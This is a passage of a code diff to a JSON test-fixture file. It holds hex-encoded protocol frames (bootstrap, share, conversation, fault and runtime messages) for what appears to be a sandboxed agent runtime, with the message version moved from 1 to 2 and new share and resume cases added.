77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d58310101000004000000790500007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d2c7b226964223a22726f6f742d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22736f75726365223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d5d7d", "class": "bootstrap", "seq": 4 }, { "name": "bootstrap-up-runtime-ready", "direction": "up", - "hex": "574d58310101000005000000980000007b2276223a312c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a317d", + "hex": "574d58310101000005000000ab0000007b2276223a322c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a312c22636f6e74696e756174696f6e73223a5b5d7d", "class": "bootstrap", "seq": 5 }, { "name": "bootstrap-up-fault-bad-conversations", "direction": "up", - "hex": "574d58310101000006000000990000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a226261645f636f6e766572736174696f6e73227d", + "hex": "574d58310101000006000000990000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a226261645f636f6e766572736174696f6e73227d", "class": "bootstrap", "seq": 6 }, { "name": "bootstrap-up-fault-supervisor-failed", "direction": "up", - "hex": "574d58310101000007000000990000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2273757065727669736f725f6661696c6564227d", + "hex": "574d58310101000007000000990000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2273757065727669736f725f6661696c6564227d", "class": "bootstrap", "seq": 7 }, { "name": "bootstrap-up-fault-second-conversations", "direction": "up", - "hex": "574d583101010000080000009c0000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a227365636f6e645f636f6e766572736174696f6e73227d", + "hex": "574d583101010000080000009c0000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a227365636f6e645f636f6e766572736174696f6e73227d", "class": "bootstrap", "seq": 8 }, @@ -187,42 +187,42 @@ { "name": "bootstrap-up-fault-bad-plan", "direction": "up", - "hex": "574d58310101000009000000900000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a226261645f706c616e227d", + "hex": "574d58310101000009000000900000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a226261645f706c616e227d", "class": "bootstrap", "seq": 9 }, { "name": "bootstrap-up-fault-probe-failed", "direction": "up", - "hex": "574d58310101000009000000940000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2270726f62655f6661696c6564227d", + "hex": "574d58310101000009000000940000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2270726f62655f6661696c6564227d", "class": "bootstrap", "seq": 9 }, { "name": "bootstrap-up-fault-format-failed", "direction": "up", - "hex": "574d58310101000009000000950000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a22666f726d61745f6661696c6564227d", + "hex": "574d58310101000009000000950000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a22666f726d61745f6661696c6564227d", "class": "bootstrap", "seq": 9 }, { "name": "bootstrap-up-fault-replay-failed", "direction": "up", - "hex": "574d58310101000009000000950000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a227265706c61795f6661696c6564227d", + "hex": "574d58310101000009000000950000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a227265706c61795f6661696c6564227d", "class": "bootstrap", "seq": 9 }, { "name": "bootstrap-up-fault-mount-failed", "direction": "up", - "hex": "574d58310101000009000000940000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a226d6f756e745f6661696c6564227d", + "hex": "574d58310101000009000000940000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a226d6f756e745f6661696c6564227d", "class": "bootstrap", "seq": 9 }, { "name": "bootstrap-up-fault-internal", "direction": "up", - "hex": "574d58310101000009000000900000007b2276223a312c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a22696e7465726e616c227d", + "hex": "574d58310101000009000000900000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a22696e7465726e616c227d", "class": "bootstrap", "seq": 9 }, @@ -253,6 +253,111 @@ "hex": "574d58310100000006000000540000007b2276223a312c2274223a226661756c74222c22636f6465223a22696e7465726e616c222c2273746f704e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", "class": "control", "seq": 6 + }, + { + "name": "bootstrap-down-shares", + "direction": "down", + "hex": "574d58310101000003000000610200007b2276223a322c2274223a22736861726573222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22736861726573223a5b7b22746167223a227372632d30222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73652c226b696e64223a22666f6c646572227d2c7b22746167223a227372632d31222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f70686f746f73222c22726561644f6e6c79223a747275652c226b696e64223a22666f6c646572227d2c7b22746167223a2277696e7465722d67756964616e6365222c22677565737450617468223a222f72756e2f77696e7465722f7368617265642d696e737472756374696f6e73222c22726561644f6e6c79223a747275652c226b696e64223a2267756964616e6365227d2c7b22746167223a2277696e7465722d6d656d6f7279222c22677565737450617468223a222f776f726b73706163652f2e77696e7465722f6d656d6f7279222c22726561644f6e6c79223a66616c73652c226b696e64223a226d656d6f7279227d2c7b22746167223a2277696e7465722d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f757470757473222c22726561644f6e6c79223a66616c73652c226b696e64223a226f757470757473227d5d7d", + "class": "bootstrap", + "seq": 3 + }, + { + "name": "bootstrap-up-shares-mounted", + "direction": "up", + "hex": "574d58310101000005000000870000007b2276223a322c2274223a227368617265735f6d6f756e746564222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066227d", + "class": "bootstrap", + "seq": 5 + }, + { + "name": "bootstrap-down-conversations-browse-uid", + "direction": "down", + "hex": "574d58310101000004000000770600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a32313030302c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "class": "bootstrap", + "seq": 4 + }, + { + "name": "bootstrap-down-conversations-resume", + "direction": "down", + "hex": "574d58310101000004000000c40600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a22726573756d65222c22656e6465644775657374426f6f7473223a5b2231313131313131312d313131312d343131312d383131312d313131313131313131313131222c2232323232323232322d323232322d343232322d383232322d323232323232323232323232225d7d7d5d7d", + "class": "bootstrap", + "seq": 4 + }, + { + "name": "bootstrap-down-conversations-either", + "direction": "down", + "hex": "574d58310101000004000000120700007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a22656974686572222c22656e6465644775657374426f6f7473223a5b2231313131313131312d313131312d343131312d383131312d313131313131313131313131222c2232323232323232322d323232322d343232322d383232322d323232323232323232323232222c2233333333333333332d333333332d343333332d383333332d333333333333333333333333222c2234343434343434342d343434342d343434342d383434342d343434343434343434343434225d7d7d5d7d", + "class": "bootstrap", + "seq": 4 + }, + { + "name": "bootstrap-down-conversations-timeout-a-day", + "direction": "down", + "hex": "574d58310101000004000000780600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a38363430303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "class": "bootstrap", + "seq": 4 + }, + { + "name": "bootstrap-up-runtime-ready-resumed", + "direction": "up", + "hex": "574d58310101000006000000b30000007b2276223a322c2274223a2272756e74696d655f7265616479222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6e766572736174696f6e73223a312c22636f6e74696e756174696f6e73223a5b22726573756d65225d7d", + "class": "bootstrap", + "seq": 6 + }, + { + "name": "bootstrap-up-fault-share-inventory", + "direction": "up", + "hex": "574d58310101000009000000970000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2273686172655f696e76656e746f7279227d", + "class": "bootstrap", + "seq": 9 + }, + { + "name": "bootstrap-up-fault-share-mount-failed", + "direction": "up", + "hex": "574d583101010000090000009a0000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2273686172655f6d6f756e745f6661696c6564227d", + "class": "bootstrap", + "seq": 9 + }, + { + "name": "bootstrap-up-fault-resume-store-missing", + "direction": "up", + "hex": "574d583101010000090000009c0000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a22726573756d655f73746f72655f6d697373696e67227d", + "class": "bootstrap", + "seq": 9 + }, + { + "name": "bootstrap-up-fault-fresh-store-not-empty", + "direction": "up", + "hex": "574d583101010000090000009d0000007b2276223a322c2274223a226661756c74222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22636f6465223a2266726573685f73746f72655f6e6f745f656d707479227d", + "class": "bootstrap", + "seq": 9 + }, + { + "name": "runtime-down-file-in-request", + "direction": "down", + "hex": "574d5831010200000300000012000000000400007b226f70223a2273746174227d0a", + "class": "runtime", + "seq": 3 + }, + { + "name": "runtime-down-file-in-end", + "direction": "down", + "hex": "574d583101020000040000000400000000040100", + "class": "runtime", + "seq": 4 + }, + { + "name": "runtime-up-file-out-response", + "direction": "up", + "hex": "574d5831010200000500000010000000000500007b226f6b223a747275657d0a", + "class": "runtime", + "seq": 5 + }, + { + "name": "runtime-up-file-out-end", + "direction": "up", + "hex": "574d583101020000060000000400000000050100", + "class": "runtime", + "seq": 6 } ], "negative": [ @@ -337,7 +442,7 @@ { "name": "plan-travelling-up", "direction": "up", - "hex": "574d583101010000010000006e0600007b2276223a312c2274223a22706c616e222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22706c616e223a7b22636865636b4d6f6465223a226e6f726d616c222c22657874344665617475726573223a5b223634626974222c226469725f696e646578222c226469725f6e6c696e6b222c22657874656e74222c2265787472615f6973697a65222c2266696c6574797065222c22666c65785f6267222c226861735f6a6f75726e616c222c22687567655f66696c65222c226c617267655f66696c65222c226d657461646174615f6373756d222c227370617273655f7375706572225d2c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226f776e6572223a7b22636f6e74726f6c6c6572496e7374616e63654964223a2263746c2d30623062306230622d306230622d346230622d386230622d3062306230623062306230622d6131623263336434222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c2272756e74696d65496d616765446967657374223a2261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162616261626162222c22776f726b6572496e7374616e63654964223a2277726b2d34343434343434342d343434342d343434342d383434342d343434343434343434343434227d2c227072696f725265706c6179223a6e756c6c2c2270726f746f636f6c56657273696f6e223a332c2272657175697265644d6f756e744f7074696f6e73223a5b226e6f696e69745f697461626c65225d2c2276697267696e5a65726f50726f76656e616e6365223a226e65772d7370617273652d6372656174696f6e222c22766f6c756d6573223a5b7b22616374696f6e223a22666f726d61742d6e6577222c2263617061636974794279746573223a31373137393836393138342c226372656174696f6e4964223a226372656174696f6e5f6161616161616161222c22657870656374656446696c6573797374656d55554944223a2231313131313131312d323232322d343333332d383434342d353535353535353535353535222c2266696c6573797374656d426c6f636b4279746573223a343039362c226964656e74697479223a7b22646576696365223a223136373737323334222c22696e6f6465223a2239303037313939323534373430393933222